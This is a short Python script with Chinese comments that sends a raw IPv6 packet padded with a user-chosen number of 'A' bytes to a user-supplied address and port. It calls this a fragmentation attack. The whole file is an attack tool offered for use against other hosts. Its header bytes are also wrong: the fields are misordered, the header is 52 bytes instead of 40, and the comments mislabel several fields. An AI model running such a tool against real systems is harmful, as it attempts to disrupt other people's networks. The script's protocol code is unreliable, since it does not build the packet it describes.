import socket

try:
    # 尝试创建原始套接字
    sock = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW)
except PermissionError:
    # 如果权限不足，提示用户
    print("\033[1;31;40m[*]权限不足，无法创建原始套接字。请确保您有足够的权限运行此程序。")
    print("\033[1;37;40m")
    # 退出程序或者采取其他适当的操作
    exit(1)

# 获取用户输入的目标 IPv6 地址和端口
target_ipv6 = input("请输入目标IPv6地址: ")
target_port = int(input("请输入目标端口号: "))

# 构造 IPv6 头
ipv6_header = b'\x60\x00\x00\x00'  # 版本号、流量等级、流量标识
ipv6_header += b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'  # 源IPv6地址，这里可以先留空
ipv6_header += socket.inet_pton(socket.AF_INET6, target_ipv6)  # 目标IPv6地址
ipv6_header += b'\x00\x00\x00\x00\x00\x14\x00\x50'  # 流量和有效载荷长度、下一个头部
ipv6_header += b'\x00\x00\x00\x00\x00\x00\x00\x00'  # 跳数限制

# 构造一个过大的数据包，导致碎片化
payload_length = int(input("请输入有效载荷的长度: "))
payload = b'\x41' * payload_length  # 用于填充有效载荷的大数据

# 发送碎片化的数据包
sock.sendto(ipv6_header + payload, (target_ipv6, target_port))

print("碎片攻击已发送到目标IPv6地址和端口。")
